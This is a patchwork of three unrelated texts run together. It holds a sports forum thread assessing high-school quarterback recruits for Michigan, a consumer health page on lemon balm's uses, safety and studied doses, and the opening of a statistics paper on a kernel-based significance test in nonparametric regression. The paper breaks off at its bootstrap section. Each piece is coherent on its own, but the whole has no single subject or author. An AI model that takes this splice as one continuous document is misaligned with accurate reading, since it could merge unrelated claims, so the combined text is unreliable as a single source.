8. Wilton Speight - QB - Richmond (VA) Collegiate: The 6'6", 217-pounder has no offers at this time. Speight might be the sleeper of the group. I like the way he throws the ball under pressure. Sometimes it's unbelievable how accurate he is with guys in his face, but to be honest, it seems like he's in a habit of throwing off his back foot because of a porous offensive line. He barely has a chance to breathe before two or three defenders are in his face. He's a little too stiff in the pocket for my liking and will struggle to avoid college rushers; he lacks great arm strength and has a little bit of a hitch in his delivery. He just looks very unpolished. I could see him going somewhere like Texas Tech or Washington State and lighting it up a few years down the road, but I don't think he's a good fit for Michigan.
9. Coleman Key - QB - Broken Arrow (OK) Broken Arrow: The 6'5", 210 lb. signal caller has a lone offer from Arkansas State. He shows good touch, and his height allows him to throw over the middle with ease. He doesn't have a cannon for an arm, and he's not much of a threat to run the ball. While many elite quarterbacks start from their sophomore or even freshman year, Key's first year as the starter was as a junior in 2012, so he's not as experienced as some other quarterbacks. Perhaps because of that reason, he seems to lack a little bit of pocket awareness. I think better offers than Arkansas State will come down the road.
10. Andrew Ford - QB - Camp Hill (PA) Cedar Cliff:The 6'3", 190 lb. prospect has offers from Massachusetts and Temple. Quite simply, I think Ford lacks the arm strength to be a serious Michigan prospect. He has some other shortcomings - mediocre size, sloppy footwork, not particularly athletic - but he doesn't have enough zip to overcome those weaknesses. He's a good high school football player, but not BCS conference-caliber, in my opinion.
Read an interview with Speight that he would commit if offered. Don't think he's one of the priority targets for the coaches, so he might not get an offer, but maybe he'd would, and commit for depth if they end up needing another qb.
I don't really have anything new on Shane Morris. I don't think he's improved much since last summer. Strong arm, pretty good feet, decent athlete. He stares down his receivers, which is a habit he HAS to break. I think there's also going to be a little bit of a Chad Henne-like adjustment period before he realizes that he doesn't have to throw everything 100 mph. I don't think he's going to be ready as a freshman, but I've thought that all along. The longer we can keep Gardner around, the better.
Okay, this has been frustrating me for a while now. I really don't think it's to Michigan's advantage to go back to statue QBs with golden arms. Do you think it's possible that a guy like Devin Gardner can change the way Borges/Hoke look at the offense? A guy who can throw the ball with accuracy but can move if needed, but also have 3-5 designed runs per game?-WillyWill9
He visited Alabama last weekend. Neither Henry or his father has made a public statement about the strength of Henry's commitment to Michigan at this point, so I'm very suspicious about whether he's fully committed. One would think that if he were 100% committed and had just taken a trip to Tuscaloosa for fun, he would have come out and said so. Surely there are numerous outlets trying to get that question answered.
That being said, Alabama just flipped defensive tackle A'Shawn Robinson from Texas, so that might prevent Poggi from committing even if he wanted to do so.
I will also say, however, that the Poggis are not the most outspoken people when it comes to recruiting, so they could just be staying quiet to say "F*** you people. We can do what we want, regardless of what internet recruiting stalkers think." And if that's the case, more power to them. I don't think 17-year-old kids should have to explain what cities they visit.
I like Speight a lot would take him in a heartbeat. He kind of makes me think of Philip Rivers in that he's a little dorky maybe, but if you're coming after him with a lot of intent, he's got just enough swerve to make you miss.
While he doesn't throw rockets, he looks to be throwing a real nice catchable ball and not only is he accurate, but he is mostly putting the ball where only his guy has any shot at it at all. Highlight reel, I know.
I'd take any of the first three guys before him and if I could get two of em, I'd probably pass on Speight altogether, but I'd really like to get two this year and would be thrilled if this kid was the second one and not all that unhappy if he was the top QB in the class. I think he can play. |
Overview Information
Lemon balm is a perennial herb from the mint family. The leaves, which have a mild lemon aroma, are used to make medicine. Lemon balm is used alone or as part of various multi-herb combination products.
How does it work?
Uses & Effectiveness?
Possibly Effective for
Alzheimer disease. Taking lemon balm by mouth for 4 months may reduce agitation, improve thinking, and reduce symptoms of Alzheimer disease. Lemon balm aromatherapy has also been used in people with Alzheimer disease. But there's no reliable evidence supporting a benefit of this form of lemon balm.
Anxiety. Some research shows that taking a specific lemon balm product (Cyracos by Naturex SA) reduces symptoms in people with anxiety disorders. Also, early research shows that taking a product containing lemon balm plus 12 other ingredients (Klosterfrau Melissengeist by Klosterfrau) reduces anxiety symptoms such as nervousness or edginess.
Cold sores (herpes labialis). Applying a lip balm containing an extract of lemon balm (LomaHerpan by Infectopharm) to cold sores seems to shorten healing time and reduce symptoms if applied at the early stages of infection.
Insomnia. Taking lemon balm (Cyracos by Naturex SA) twice daily for 15 days improves sleep in people with insomnia. Taking lemon balm in combination with other ingredients also seems to improve sleep quality in people with sleeping disorders. Early research shows that taking 1-2 tablets of a specific product containing lemon balm and valerian root (Euvegal forte by Schwabe Pharmaceuticals) once or twice daily might decrease sleep problems associated with restlessness in children under age 12. It's unknown if the effect of this latter product is due to lemon balm, valerian, or the combination.
Stress. Early research shows that taking a single dose of lemon balm increases calmness and alertness in adults under mental stress. Other early research shows that adding lemon balm to a food or drink reduces anxiety and improves memory and alertness during mental testing. Lemon balm also appears to reduce anxious behavior in children during dental exams. Taking lemon balm along with other ingredients at a low dose appears to reduce anxiety during psychological stress in a laboratory. But taking the combination at a higher dose appears to worsen stress-induced anxiety.
Insufficient Evidence for
Memory and thinking skills (cognitive function). Early research shows that taking a single dose of lemon balm improves accuracy but slows performance on a timed memory test. Other early research shows that taking lemon balm in combination with other ingredients seems to improve word recall in adults under 63 years of age. But it doesn't seem to be beneficial in older adults.
Excessive crying in infants (colic). Giving certain products containing lemon balm and other ingredients to infants with colic for 1-4 weeks seems to reduce crying time. It may also increase the number of infants in whom colic resolves. The products used in research include ColiMil by Milte Italia SPA, ColiMil Plus by Milte Italia SPA, and Calma-Bebi by Bonomelli.
Diseases that interfere with thinking (dementia). It's unclear if lemon balm helps reduce agitation in people with dementia. Results from research are conflicting.
Depression. Early research shows that taking lemon balm with fertilized egg powder does not improve symptoms of depression compared to taking fertilized egg powder alone.
Side Effects & Safety
When taken by mouth: Lemon balm is LIKELY SAFE when used in food amounts. Lemon balm is POSSIBLY SAFE when taken by mouth in medicinal amounts, short-term. It's been used safely in research for up to 4 months. Side effects are generally mild and may including increased appetite, nausea, vomiting, abdominal pain, dizziness, and wheezing. Not enough is known about the safety of lemon balm when used long-term.
When applied to the skin: Lemon balm is POSSIBLY SAFE for adults in medicinal amounts. It may cause skin irritation and increased cold sore symptoms.
Special Precautions & Warnings:
Pregnancy and breast-feeding: There isn't enough reliable information to know if lemon balm is safe to use when pregnant or breast-feeding. Stay on the safe side and avoid use.
Infants and children. Lemon balm is POSSIBLY SAFE when taken appropriately by mouth for about one month.
Diabetes. Lemon balm might lower blood sugar levels in people with diabetes. Watch for signs of low blood sugar (hypoglycemia) and monitor your blood sugar carefully if you have diabetes and use lemon balm.
Surgery: Lemon balm might cause too much drowsiness if combined with medications used during and after surgery. Stop using lemon balm at least 2 weeks before a scheduled surgery.
Thyroid disease: There is a concern that lemon balm may change thyroid function, reduce thyroid hormone levels, and interfere with thyroid hormone-replacement therapy. Avoid lemon balm if you have thyroid disease.
Dosing
The following doses have been studied in scientific research:
ADULTS
BY MOUTH:
For Alzheimer disease: 60 drops per day of a standardized lemon balm extract has been used for 4 months.
For anxiety: 300 mg of a standardized lemon balm extract (Cyracos by Naturex SA) taken twice daily for 15 days has been used. Also 0.23 mL/kg body weight of a combination product containing 13 ingredients including lemon balm (Klosterfrau Melissengeist, Klosterfrau) taken three times daily for 8 weeks has been used.
For insomnia: 300 mg of a standardized lemon balm extract (Cyracos by Naturex SA) has been used twice daily for 15 days. Also, a specific combination product containing 80 mg of lemon balm leaf extract and 160 mg of valerian root extract (Euvegal forte, Dr. Willmar Schwabe Pharmaceuticals) has been taken 2-3 times daily for up to 30 days. Also, tablets containing 170 mg of valerian root, 50 mg of hops, 50 mg of lemon balm, and 50 mg of motherwort have been used. Three capsules containing 1000 mg of lemon balm and 400 mg of Nepeta menthoides have also been taken nightly for 4 weeks.
For stress: Many different doses have been studied in scientific research. A single dose of 600 mg of lemon balm extract during a stress test has been used. Also, a single dose of 300 mg of lemon balm extract (Bluenesse by Vital Solutions) has been added to food or drink and used during a mental test. Also, three tablets of a specific product containing 80 mg of lemon balm extract and 120 mg of valerian root extract per tablet (Songha Night by Pharmaton Natural Health Products) have been taken before a stress test. Also, a specific combination product containing 90 mg of passion flower, 90 mg of valerian root, 50 mg of lemon balm, and 90 mg of butterbur per tablet (Relaxane, Max Zeller Söhne AG) has been taken as one tablet three times daily for 3 days.
APPLIED TO THE SKIN:
For cold sores (herpes labialis): Cream containing 1% lemon balm extract (LomaHerpan by Infectopharm) has been applied 2-4 times daily. It is usually applied at the first sign of symptoms to a few days after the cold sores have healed.
CHILDREN
BY MOUTH:
For insomnia: 1-2 tablets of a specific combination product containing 80 mg of lemon balm leaf extract and 160 mg of valerian root extract (Euvegal forte, Dr. Willmar Schwabe Pharmaceuticals) has been taken once or twice daily in children under 12 years-old.
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This information is meant to supplement, not replace advice from your doctor or healthcare provider and is not meant to cover all possible uses, precautions, interactions or adverse effects. This information may not fit your specific health circumstances. Never delay or disregard seeking professional medical advice from your doctor or other qualified health care provider because of something you have read on WebMD. You should always speak with your doctor or health care professional before you start, stop, or change any prescribed part of your health care plan or treatment and to determine what course of therapy is right for you. |
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abstract: 'We consider testing the significance of a subset of covariates in a nonparametric regression. These covariates can be continuous and/or discrete. We propose a new kernel-based test that smoothes only over the covariates appearing under the null hypothesis, so that the curse of dimensionality is mitigated. The test statistic is asymptotically pivotal and the rate of which the test detects local alternatives depends only on the dimension of the covariates under the null hypothesis. We show the validity of wild bootstrap for the test. In small samples, our test is competitive compared to existing procedures.'
author:
- |
Pascal Lavergne\
Toulouse School of Economics\
Samuel Maistre and Valentin Patilea\
Crest-Ensai & Irmar (UEB)
bibliography:
- 'Misspecification.bib'
date: March 2014
title: |
A Significance Test for Covariates\
in Nonparametric Regression
---
Introduction
============
Testing the significance of covariates is common in applied regression analysis. Sound parametric inference hinges on the correct functional specification of the regression function, but the likelihood of misspecification in a parametric framework cannot be ignored, especially as applied researchers tend to choose functional forms on the basis of parsimony and tractability. Significance testing in a nonparametric framework has therefore obvious appeal as it requires much less restrictive assumptions. [@Fan1996a], [@FanLi1996] , [@Racine1997], [@ChenFan99], [@Lavergne2000], [@Abs01], and [@Delgado2001] proposed tests of significance for continuous variables in nonparametric regression models. [@Delgado1993], [@DetteN01], [@Lavergne2001], [@NeuD03], [@Racine2006] focused on significance of discrete variables. [@SigQuant13] considered significance testing in nonparametric quantile regression. For each test, one needs first to estimate the model without the covariates under test, that is under the null hypothesis. The result is then used to check the significance of extra covariates. Two competing approaches are then possible. In the “smoothing approach,” one regresses the residuals onto the whole set of covariates nonparametrically, while in the “empirical process approach” one uses the empirical process of residuals marked by a function of all covariates.
In this work, we adopt an hybrid approach to develop a new significance test of a subset of covariates in a nonparametric regression. Our new test has three specific features. First, it does not require smoothing with respect to the covariates under test as in the “empirical process approach.” This allows to mitigate the curse of dimensionality that appears with nonparametric smoothing, hence improving the power properties of the test. Our simulation results show that indeed our test is more powerful than competitors under a wide spectrum of alternatives. Second, the test statistic is asymptotically pivotal as in the “smoothing approach,” while wild bootstrap can be used to obtain small samples critical values of the test. This yields a test whose level is well controlled by bootstrapping, as shown in simulations. Third, our test equally applies whether the covariates under test are continuous or discrete, showing that there is no need of a specific tailored procedure for each situation.
The paper is organized as follows. In Section 2, we present our testing procedure. In Section 3, we study its asymptotic properties under a sequence of local alternatives and we establish the validity of wild bootstrap. In Section 4, we compare the small sample behavior of our test to some existing procedures. Section 5 gathers our proofs.
Testing Framework and Procedure
===============================
Testing Principle
-----------------
We want to assess the significance of $X\in\mathbb{R}^{q}$ in the nonparametric regression of $Y\in\mathbb{R}$ on $W\in\mathbb{R}^{p}$ and $X$. Formally, this corresponds to the null hypothesis $$H_{0}\,:\,\mathbb{E}\left[Y\mid W,X\right]=\mathbb{E}\left[Y\mid
W\right]\quad\mbox{a.s.}$$ which is equivalent to $$H_{0}\,:\, \mathbb{E}\left[u\mid W,X\right]=0\quad\mbox{a.s.}
\label{NullHyp}$$ where $u=Y-\mathbb{E}\left[Y\mid W\right]$. The corresponding alternative hypothesis is $$H_{1}\,:\,\Pr\left\{ \mathbb{E}\left[u\mid W,X\right]=0\right\} <1.$$ The following result is the cornerstone of our approach. It characterizes the null hypothesis $H_{0}$ using a suitable unconditional moment equation.
\[Fundamental-Lemma\] Let $\left(W_{1},\, X_{1},\, u_{1}\right)$ and $\left(W_{2},\, X_{2},\, u_{2}\right)$ be two independent draws of $\left(W,\, X,\, u\right)$, $\nu(W)$ a strictly positive function on the support of $W$ such that $\mathbb{E}[u^2 \nu^2(W)]<\infty$, and $K(\cdot)$ and $\psi(\cdot)$ even functions with (almost everywhere) positive Fourier integrable transforms. Define $$I\left(h\right)=\mathbb{E}\left[u_{1}u_{2}\nu\left(W_{1}\right)
\nu\left(W_{2}\right)h^{-p}K\left(\left(W_{1}-W_{2}\right)/h\right)
\psi\left(X_{1}-X_{2}\right)\right]
\, .$$ Then for any $h>0$, $$\mathbb{E}\left[u\mid W,X\right]= 0\,\; a.s.
\Leftrightarrow
I (h) = 0.$$
Let $\langle \cdot, \cdot \rangle$ denote the standard inner product. Using Fourier Inversion Theorem, change of variables, and elementary properties of conditional expectation, $$\begin{aligned}
\lefteqn{I\left(h\right)}
\\
& = &
\mathbb{E}\left[u_{1}u_{2}\nu\left(W_{1}\right)\nu\left(W_{2}\right)\int_{\mathbb{R}^{p}}e^{2\pi
i\langle t, \; W_{1}-W_{2}\rangle
}\mathcal{F}\left[K\right]\left(th\right)dt
\right.
\\
& & \times
\left.
\int_{\mathbb{R}^{q}}e^{2\pi i \langle s
,\;X_{1}-X_{2}\rangle}\mathcal{F}\left[\psi\right]\left(s\right)ds\right]\\ &
= &
\int_{\mathbb{R}^{q}}\int_{\mathbb{R}^{p}}\left|\mathbb{E}\left[\mathbb{E}\left[u\mid
W,X\right]\nu\left(W\right)e^{2\pi i\left\{ \langle t, W
\rangle + \langle s, X\rangle \right\}
}\right]\right|^{2}\mathcal{F}\left[K\right]\left(th\right)\mathcal{F}\left[\psi\right]\left(s\right)dtds
\, .\end{aligned}$$ Since the Fourier transforms $\mathcal{F}\left[K\right]$ and $\mathcal{F}\left[\psi\right]$ are strictly positive, $I(h)=0$ iff $$\mathbb{E}\left[\mathbb{E}\left[u\mid
W,X\right]\nu\left(W\right)e^{2\pi i\left\{ \langle t, W
\rangle + \langle s, X\rangle \right\}
}\right] = 0
\qquad \forall t, s
\, .$$ But this is equivalent to $\mathbb{E}\left[u\mid
W,X\right]\nu\left(W\right) = 0$ a.s., which by our assumption on $\nu(\cdot)$ is equivalent to $H_{0}$.
The Test
--------
Lemma \[Fundamental-Lemma\] holds whether the covariates $W$ and $X$ are continuous or discrete. For now, we assume $W$ is continuously distributed, and we later comment on how to modify our procedure in the case where some of its components are discrete. We however do not restrict $X$ to be continuous. Since it is sufficient to test whether $I (h)=0$ for any arbitrary $h$, we can choose $h$ to obtain desirable properties. So we consider a sequence of $h$ decreasing to zero when the sample size increases, which is one of the ingredient that allows to obtain a tractable asymptotic distribution for the test statistic.
Assume we have at hand a random sample $(Y_i,W_i,X_i)$, $1\leq i\leq
n$, from $(Y,W,X)$. In what follows, $f(\cdot)$ denotes the density of $W$, $r(\cdot)=\mathbb{E}\left[Y\mid W=\cdot\right]$, $u=Y-r(W)$, and $f_{i}$, $r_{i}$, $u_{i}$ respectively denote $f\left(W_{i}\right)$, $r\left(W_{i}\right)$, and $Y_{i}-r\left(W_{i}\right)$. Since nonparametric estimation should be entertained to approximate $u_{i}$, we consider usual kernel estimators based on kernel $L(\cdot)$ and bandwidth $g$. With $L_{nik}
= \frac{1}{g^{p}}L\left(\frac{W_{i}-W_{k}}{g} \right)$, let $$\begin{aligned}
\hat{f}_{i} & = & (n-1)^{-1}\sum_{k\neq i, k=1}^n L_{nik}
\, ,
\\
\hat{r}_{i} & = &
\frac{1}{\hat{f}_{i}} \frac{1}{(n-1)} \sum_{k\neq i, k=1}^n Y_k L_{nik}
\,
\\
\mbox{so that } \quad \hat{u}_{i} & = & Y_i-\hat{r}_{i}=
\frac{1}{\hat{f}_{i}} \frac{1}{(n-1)} \sum_{k\neq i, k=1}^n (Y_i -Y_k) L_{nik}
\, .\end{aligned}$$ Denote by $n^{\left(m\right)}$ the number of arrangements of $m$ distinct elements among $n$, and by $[1/n^{\left(m\right)}]\sum_{a}$, the average over these arrangements. In order to avoid random denominators, we choose $\nu\left(W\right)=f\left(W\right)$, which fulfills the assumption of Lemma \[Fundamental-Lemma\]. Then we can estimate $I\left(h\right)$ by the second-order U-statistic $$\begin{aligned}
\widehat{I}_{n} & = &
\frac{1}{n^{\left(2\right)}}\sum_{a}\hat{u}_{i}\hat{f}_{i}\hat{u}_{j}\hat{f}_{j}K_{nij}\psi_{ij}\\ &
= &
\frac{1}{n^{\left(2\right)}\left(n-1\right)^{2}}\sum_{a}\sum_{k\neq
i}\sum_{l\neq
j}\left(Y_{i}-Y_{k}\right)\left(Y_{j}-Y_{l}\right)L_{nik}L_{njl}K_{nij}\psi_{ij}
\, ,\end{aligned}$$ with $K_{nij}=\frac{1}{h^{p}} K\left(\frac{W_{i}-W_{j}}{h}\right)$ and $ \psi_{ij}=\psi\left(X_{i}-X_{j}\right)$. We also consider the alternative statistic $$\tilde{I}_{n}=\frac{1}{n^{\left(4\right)}}\sum_{a}
\left(Y_{i}-Y_{k}\right)\left(Y_{j}-Y_{l}\right)L_{nik}L_{njl}K_{nij}\psi_{ij}
\, .$$ It is clear that $\tilde{I}_{n}$ is obtained from $\widehat{I}_{n}$ by removing asymptotically negligible “diagonal” terms. Under the null hypothesis, both statistics will have the same asymptotic normal distribution, but removing diagonal terms reduces the bias of the statistic under $H_{0}$. Our statistics $\tilde{I}_{n}$ and $\widehat{I}_{n}$ are respectively similar to the ones of [@FanLi1996] and [@Lavergne2000], with the fundamental difference that there is no smoothing relative to the covariates $X$. Indeed these authors used a multidimensional smoothing kernel over $(W,X)$, that is $h^{-\left(p+q\right)}
\tilde{K}\left(\left(W_{i}-W_{j}\right)/h, \,
\left(X_{i}-X_{j}\right)/h\right)$, while we use $K_{nij}\psi_{ij}$. For $I_{n}$ being either $\tilde{I}_{n}$ or $\widehat{I}_{n}$, we will show that $nh^{p/2}I_{n} {\mbox{$\stackrel{d}{\longrightarrow}\,$}}\mathcal{N}\left(0,\omega^{2}\right)$ under $H_{0}$ and $nh^{p/2}I_{n}{\mbox{$\stackrel{p}{\longrightarrow}\,$}}\infty$ under $H_{1}$. By contrast, the statistics of [@FanLi1996] and [@Lavergne2000] exhibit a $nh^{(p+q)/2}$ rate of convergence. The alternative test of [@Delgado2001] uses the kernel residuals $\hat{u}_{i}$ and the empirical process approach of [@Stute1997]. This avoids extra smoothing, but a the cost of a test statistic with a non pivotal asymptotic law under $H_{0}$. Hence, our proposal is an hybrid approach that combines the advantages of existing procedures, namely smoothing only for the variables $W$ appearing under the null hypothesis but with an asymptotic normal distribution for the statistic. Given a consistent estimator $\omega^{2}_{n}$ of $\omega^{2}$, as provided in the next section, we obtain an asymptotic $\alpha$-level test of $H_{0}$ as $$\mbox{Reject } H_{0} \mbox{ if } \
nh^{p/2}I_{n} / \omega_{n} > z_{1-\alpha}
\, ,$$ where $z_{1-\alpha}$ is the $(1-\alpha)$-th quantile of the standard normal distribution. In small samples, we will show the validity of a wild bootstrap scheme to obtain critical values.
The test applies whether $X$ is continuous or has some discrete components. The procedure is also easily adapted to some discrete components of $W$. In that case, one would replace kernel smoothing by cells’ indicators for the discrete components, so that for $W$ composed of continuous $W_{c}$ of dimension $p_c$ and discrete $W_{d}$, one would use $h^{-p_c} K\left(\frac{W_{ic}-W_{jc}}{h}\right)
\ind(W_{id}=W_{jd})$ instead of $ K_{nij}$. It would also be possible to smooth on the discrete components, as proposed by [@RacineLi2004]. To obtain scale invariance, we recommend that observations on covariates should be scaled, say by their sample standard deviation as is customary in nonparametric estimation. It is equally important to scale the $X_{i}$ before they are used as arguments of $\psi(\cdot)$ to preserve such invariance.
The outcome of the test may depend on the choice of the kernels $K(\cdot)$ and $L(\cdot)$, while this influence is expected to be limited as it is in nonparametric estimation. The choice of the function $\psi(\cdot)$ might be more important, but our simulations reveal that it is not. From our theoretical study, this function, as well as $K(\cdot)$ should possess an almost everywhere positive and integrable Fourier transform. This is true for (products of) the triangular, normal, Laplace, and logistic densities, see [@JKB], and for a Student density, see [@Hurst]. Alternatively, one can choose $\psi (x)$ as a univariate density applied to some transformation of $x$, such as its norm. This yields $\psi (x) = g \left( \| x\|\right)$ where $g(\cdot)$ is any of the above univariate densities. This is the form we will consider in our simulations to study the influence of $\psi(\cdot)$.
Theoretical Properties
======================
We here give the asymptotic properties of our test statistics under $H_{0}$ and some local alternatives. To do so in a compact way, we consider the sequence of hypotheses $$H_{1n}\,:\,\mathbb{E}\left[Y\mid
W,X\right]=r\left(W\right)+\delta_{n}d\left(W,X\right),\qquad n\geq
1,$$ where $d(\cdot)$ is a fixed integrable function. Since $r\left(W\right) = \mathbb{E}\left[Y\mid W\right]$, our setup imposes $\mathbb{E}\left[d\left(W,X\right)\mid W\right]=0$. The null hypothesis corresponds to the case $\delta_n\equiv 0$, while considering a sequence $\delta_{n}\to 0$ yields local Pitman-like alternatives.
Assumptions
-----------
We begin by some useful definitions.
\[RegulDef\]
[(i)]{}
: $\mathcal{U}^{p}$ is the class of integrable uniformly continuous functions from $\mathbb{R}^{p}$ to $\mathbb{R}$;
[(ii)]{}
: $\mathcal{D}_{s}^{p}$ is the class of $m$-times differentiable functions from $\mathbb{R}^{p}$ to $\mathbb{R}$ , with derivatives of order $\left\lfloor s\right\rfloor $ that are uniformly Lipschitz continuous of order $s-\left\lfloor s\right\rfloor $, where $\left\lfloor s\right\rfloor $ denotes the integer such that $\left\lfloor s\right\rfloor \leq s < \left\lfloor s\right\rfloor +1$.
Note that a function belonging to $\mathcal{U}^{p}$ is necessarily bounded.
\[KerDef\]$\mathcal{K}_{m}^{p}$, $m\geq2$, is the class of even integrable functions $K\,:\,\mathbb{R}^{p}\to\mathbb{R}$ with compact support satisfying $\int K\left(t\right)dt=1$ and, if $t=(t_1,\dots,t_p)$, $$\int_{\mathbb{R}^{p}} t_{1}^{\alpha_{1}}\dots t_{p}^{\alpha_{p}}
K\left(t\right)dt=0\;\; \mbox{ for }\;\;
0<\sum_{i=1}^{p}\alpha_{i}\leq m-1,\,\alpha_{i}\in\mathbb{N}\quad\forall i$$
This definition of higher-order kernels is standard in nonparametric estimation. The compact support assumption is made for simplicity and could be relaxed at the expense of technical conditions on the rate of decrease of the kernels at infinity, see e.g. Definition 1 in [@FanLi1996]. In particular, the gaussian kernel could be allowed for. We are now ready to list our assumptions.
\[Sample\] (i) For any $x\in\mathbb{R}^q$ in the support of $X$, the vector $W$ admits a conditional density given $X=x$ with respect to the Lebesgue measure in $\mathbb{R}^p$, denoted by $\pi(\cdot\mid x)$. Moreover, $\mathbb{E}\left[Y^{8}\right]<\infty$. (ii) The observations $\left(W_{i},X_{i},Y_{i}\right)$, $i=1,\cdots, n $ are independent and identically distributed as $(W,X,Y)$.
The existence of the conditional density given $X=x$ for all $x\in\mathbb{R}^q$ in the support of $X$ implies that $W$ admits a density with respect to the Lebesgue measure on $\mathbb{R}^p$. As noted above, our results easily generalizes to some discrete components of $W$, but for the sake of simplicity we do not formally consider this in our theoretical analysis.
\[RegulHyp\]
[(i)]{}
: $f\left(\cdot\right)$ and $r\left(\cdot\right)f\left(\cdot\right)$ belong to $\mathcal{U}^{p}\cap\mathcal{D}_{s}^{p}$, $s\geq2$;
[(ii)]{}
: $\mathbb{E}\left[u^{2}\mid W=\cdot\right]f\left(\cdot\right)$, $\mathbb{E}\left[u^{4}\mid W = \cdot\right]f^{4}\left(\cdot\right)$ belong to $\mathcal{U}^{p};$
[(iii)]{}
: the function $\psi\left(\cdot\right)$ is bounded and has a almost everywhere positive and integrable Fourier transform;
[(iv)]{}
: $K\left(\cdot\right)\in\mathcal{K}_{2}^{p}$ and has an almost everywhere positive and integrable Fourier transform, while $L\left(\cdot\right)\in\mathcal{K}_{\left\lfloor s\right\rfloor}^{p}$ and is of bounded variation;
[(v)]{}
: let $\sigma^2(w,x)=\mathbb{E}[u^2 \mid W=w,X=x]$, then $\sigma^{2}\left(\cdot,x\right)
f^{2}\left(\cdot\right)\pi\left(\cdot\mid x\right)$ belongs to $\mathcal{U}^{p}$ for any $x$ in the support of $X$, has integrable Fourier transform, and
$\mathbb{E}\left[\sigma^{4}\left(W,X\right)f^{4}\left(W\right)\pi\left(W\mid
X\right)\right]<\infty$;
[(vi)]{}
: $\mathbb{E}[d^2(W,X)\mid W=\cdot]
f^2(\cdot)$ belongs to $\mathcal{U}^{p}$, $d(\cdot , x)
f\left(\cdot\right)\pi\left(\cdot\mid x\right)$ is integrable and squared integrable for any $x$ in the support of $X$, and
$\mathbb{E}\left[d^{2}\left(W,X\right)f^2\left(W\right)\pi\left(W\mid
X\right)\right]<\infty$.
Standard regularity conditions are assumed for various functions. A higher-order kernel $L(\cdot)$ is used in conjunction with the differentiability conditions in (i) to ensure that the bias in nonparametric estimation is small enough.
Asymptotic Analysis
-------------------
The following result characterizes the behavior of our statistics under the null hypothesis and a sequence of local alternatives.
\[Consistency\] Let $I_n$ be any of the statistics $\widehat{I}_n$ or $\tilde{I}_n$. Under Assumptions \[Sample\] and \[RegulHyp\], and if as $n\to\infty$ (i) $g,h\to 0$, [ (ii) $n^{7/8} g^{p}/\ln n ,$]{} $nh^{p}\to\infty$, (iii) $nh^{p/2}g^{2s}\to 0$, and (iv) $h/g\to 0$ if $I_n =
\tilde{I}_n$ or $h/g^2\to 0$ if $I_n = \widehat{I}_n$, then
[(i)]{}
: If $\delta_{n}^{2}nh^{p/2}\to C$ with $0\leq C<\infty$, $nh^{p/2}I_{n} {\mbox{$\stackrel{d}{\longrightarrow}\,$}}\mathcal{N}\left(C\mu,\omega^{2}\right)$ where $$\mu=\mathbb{E}\left[\intop\!\!
d\left(w,X_{1}\right)d\left(w,X_{2}\right)f^{2}\left(w\right)\pi\left(w\mid
X_{1}\right)\pi\left(w\mid X_{2}\right)\psi\left(X_{1}\!-\!
X_{2}\right)dw\right]>0$$ $$\begin{aligned}
\lefteqn{\mbox{and } \quad \omega^{2} =
2 \int\! K^{2}\!\left(s\right) \, ds}
\\
& &
\mathbb{E}\left[\int\!\!\sigma^{2}\left(w,X_{1}\right)
\sigma^{2}\left(w,X_{2}\right)f^{4}\left(w\right)\pi\left(w\mid
X_{1}\right)\pi\left(w\mid X_{2}\right)\psi^{2}\left(X_{1}\!-\!
X_{2}\right)dw\right]
\, .
$$
[(ii)]{}
: If $\delta_{n}^{2}nh^{p/2}\to\infty$, $nh^{p/2}I_{n}{\mbox{$\stackrel{p}{\longrightarrow}\,$}}\infty$.
The rate of convergence of the test statistic depends only on the dimension of $W$, the covariates present under the null hypothesis, but not on the dimension of $X$, the covariates under test. Similarly, the rate of local alternatives that are detected by the test depends only on the dimension of $W$. As shown in the simulations, this yields some gain in power compared to competing “smoothing” tests. Conditions (i) to (iv) together require that $s>p/2$ for $I_{n}=\tilde{I}_{n}$ and $s>p/4$ for $I_{n}=\widehat{I}_{n}$, so removing diagonal terms in $\widehat{I}_{n}$ allows to weaken the restrictions on the bandwidths. [ Condition (ii) could be slightly weakened to $ng^p \rightarrow \infty$ at the price of handling high order $U$-statistics in the proofs, but allows for a shorter argument based on empirical processes, see Lemma \[unif\_omeg\] in the proofs section.]{}
To estimate $\omega^{2}$, we can either mimic [@Lavergne2000] to consider $$\tilde{\omega}_{n}^{2}=\dfrac{2h^{p}}{n^{\left(6\right)}}\sum_{a}
\left(Y_{i}-Y_{k}\right)\left(Y_{i}-Y_{k^{\prime}}\right)\left(Y_{j}-Y_{l}\right)
\left(Y_{j}-Y_{l^{\prime}}\right)L_{nik}L_{nik^{\prime}}L_{njl}L_{njl^{\prime}}K_{nij}^{2}\psi_{ij}^{2},$$ or generalize the variance estimator of [@FanLi1996] as $$\widehat{\omega}_{n}^{2}=\dfrac{2h^{p}}{n^{\left(2\right)}}\sum_{a}
\hat{u}_{i}^{2}\hat{f}_{i}^{2}\hat{u}_{j}^{2}\hat{f}_{j}^{2}K_{nij}^{2}\psi_{ij}^{2}.$$ The first one is consistent for $\omega^{2}$ under both the null and alternative hypothesis, but the latter is faster to compute.
\[corr\_test\_o\] Let $I_n$ be any of the statistics $\widehat{I}_n$ or $\tilde{I}_n$ and let $\omega_{n}$ denote any of $\widehat{\omega}_{n}$ or $\tilde{\omega}_{n}$. Under the assumptions of Theorem \[Consistency\], the test that rejects $H_{0}$ when $nh^{p/2}I_{n}/\omega_{n} > z_{1-\alpha}$ is of asymptotic level $\alpha$ under $H_{0}$ and is consistent under the sequence of local alternatives $H_{1n}$ provided $\delta_{n}^{2}nh^{p/2}\to\infty$.
Bootstrap Critical Values
-------------------------
It is known that asymptotic theory may be inaccurate for small and moderate samples when using smoothing methods. Hence, as in e.g. [@Hardle1993] or [@Delgado2001], we consider a wild bootstrap procedure to approximate the quantiles of our test statistic. Resamples are obtained from $Y_{i}^{*}=\hat{r}_{i}+u_{i}^{*}$, where $u_{i}^{*}=\eta_{i}\hat{u}_{i}$ and $\eta_{i}$ are i.i.d. variables independent of the initial sample with $\mathbb{E}\eta_{i}=0$ and $\mathbb{E}\eta_{i}^{2}=\mathbb{E}\eta_{i}^{3}=1$, $1\leq i\leq n$. The $\eta_i$ could for instance follow the two-point law of [@Mammen1993]. With at hand a bootstrap sample $(Y_{i}^{*},W_i,X_i)$, $1\leq i\leq n$, we obtain a bootstrapped statistic $I_{n}^{*}$ with bootstrapped observations $Y_{i}^{*}$ in place of original observations $Y_{i}$. When the scheme is repeated many times, the bootstrap critical value $z^\star_{1-\alpha, n}$ at level $\alpha$ is the empirical $(1-\alpha)$-th quantile of the bootstrapped test statistics. The asymptotic validity of this bootstrap procedure is guaranteed by the following result.
